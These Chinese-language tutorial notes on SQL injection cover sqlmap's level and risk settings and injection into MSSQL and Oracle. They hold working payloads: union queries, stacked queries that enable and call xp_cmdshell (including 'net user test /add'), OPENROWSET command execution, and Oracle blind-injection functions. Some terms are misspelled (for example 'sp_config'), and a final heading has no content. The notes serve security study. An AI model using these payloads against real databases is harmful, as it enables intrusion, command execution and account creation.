–no-escape可以关闭char()来减少载荷

--hex
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免

SqlMap的几种注入方法的XML配置文件在:sqlmap\data\xml\payloads 目录下
我们可以看到

1.boolean_blind
2.error_based
3.inline_query
4.stacked_queries
5.time_blind
6.union_query

我们结合请求时的值和xml配置文件,可以看出,payload的组成是:

payload = where + boundary.prefix+test.payload+boundary.suffix

boundary是一个XML配置文件,可配置修改,文件在:sqlmap\data\xml\boundaries.xml

参数level的解释

1.level>=2时,会测试cookie
2.level>=3时,会测试user-agent, referer
3.level>=5时,会测试HOST

高等级level会包含低等级level的测试。

1.Always(<100 requests)
2.Try a bit harder (100-200 requests)
3.Good number of requests (200-500 requests)
4.Extensive test (500-1000 requests)
5.You have plenty of time (>1000 requests)

不仅在测试范围上有所扩展,也会在payload上大量增加

risk解释

1.默认,会测试大部分的测试语句
2.会增加基于事件的测试语句
3.会增加OR语句的SQL注入测试

高等级risk会包含低等级risk的测试

小结level和risk参数:

1.level是测试范围,risk是语句深度
2.两者都会影响payload的测试量,值越大,量越大




Microsoft SQL SERVER

MSSQL 分为三种
1.DML = Database Manangement Language
select, update, insert, delete

2.DDL = Database Define Language
create, alert, drop

3.DCL = Database Control Language
grant, deny, revole

MSSQL自带大量的存储过程,因此,针对MSQL的注入可利用存储过程,来进行提权操作

查询版本信息
1’ union select 1,2,@@VERSION

服务器名
@@SERVERNAME

查询数据库名
select name from master…sysdatabases
或者查询第三个数据库名
select DB_NAME(3)

MSSQL的跳过查询语句是top,这个表示查询跳过前3条后的10条数据
select top 10 name from table where name not in (select top 3 from table)

select substring(table_name,1,1) from information_schema.tables

多语句注入,就是用分号隔开,多条语句可以执行的
select * from user where UserName=‘Ph0rse1’;exec xp_cmdshell ‘whoami > c:\tmp\1.txt’;

TMP临时表
我们在读取文件内容时,常常受限于显示位无法直接回显数据,这时就需要通过建立
TMP临时表来间接的将数据输出,创建语法为:
create table myTmpTable (cola int primary key)

是否站库分离?
站库分离值得是出于安全考虑,将网站和数据库没有放到一个服务器上
1’ and ((select host_name())=(select @@SERVERNAME))–

判断XP_CMDSHELL是否开启?
存储过程中xp_cmdshell可执行系统命令,是后续提权操作的主要方式,从MSSQL2005版本之后,默认关闭
开启xp_cmdshell
exec sp_config ‘show advanced options’ ,1
reconfigure
exec sp_configure ‘xp_cmdshell’ ,1
reconfigure

SqlMap + johnny 获取口令
Sysadmin扩展攻击姿势

Burp抓包检测注入 --> Sqlmap抓取密文 --> Johnny破解密文

添加一个用户
exec master…xp_cmdshell ‘net user test /add’

通过OPENROWSET绕过Web限制
当无法直接远连数据库,并无法使用多语句注入时,
select * from OPENROWSET(‘SQLOLEDB’,‘数据库地址’,‘数据库用户名’,‘数据库密码’,‘SET FMTONLY OFF execute master…xp_cmdshell “dir”’)

xp_regwrite
sp_makewebtask
sp_oacreate
sp_addlogin

使用PowerUpSQL来简化攻击
有三大功能
1、数据库发现,可以探测本机及内网/同域的MSSQL数据库
2、数据库安全配置探测,调用sqlaudit函数可用于普通的高危漏洞和使用当前登录的权限弱配置探测。另外,Invoke SQLDumpInfo可以用来快速库存数据库,特权,和其他信息
3、调用sqlescalatepriv功能,自动尝试使用确定的漏洞获得系统管理员权限。

开源的工具
https://github.com/webattacker/PowerUpSQL

查询数据库版本信息,一般页面会报错,报错的时候,就能看到了
www.test.com/?id=1 and @@version>0

Oracle数据库

Oracle数据库的权限体系比MySQL和MSSQL要复杂的多
PL/SQL == Procedural Language/SQL是Oracle对SQL语句的扩展

系统权限管理
1.DBA
2.RESOURCE
3.CONNECT

RESOURCE权限包含
execute
select
update
insert
alter
index
delete

创建一个user100的用户
create user user100 identified by SYSTEM;

授予user100用户拥有connect, resource权限
grant connect, resource to user100;

取消user100的connect, resource权限
revoke connect, resource from user100;

查询一个用户的权限
select * from dba_tab_privs where grantee=‘user100’;

注入基本语法
判断列数:’ order by 3 –
判断回显位置:’ union select null,null,null from dual;
查询表名:’ union select null,(select table_name from user_tables where rownum=1),null from dual;

报错注入
使用utl_inaddr.get_host_name()

报错盲注
使用XMLType()

Oracle布尔盲注
使用decode函数进行布尔盲注
substr(user,1,1)是条件,'S’是要遍历的位置,如果匹配便返回翻译值1,否则使用默认值0

Oracle时间盲注
DBMS_PIPE.RECEIVE_MESSAGE(),通过SQLMap源码发现的

Oracle外带通信

你可能感兴趣的:(SQL注入)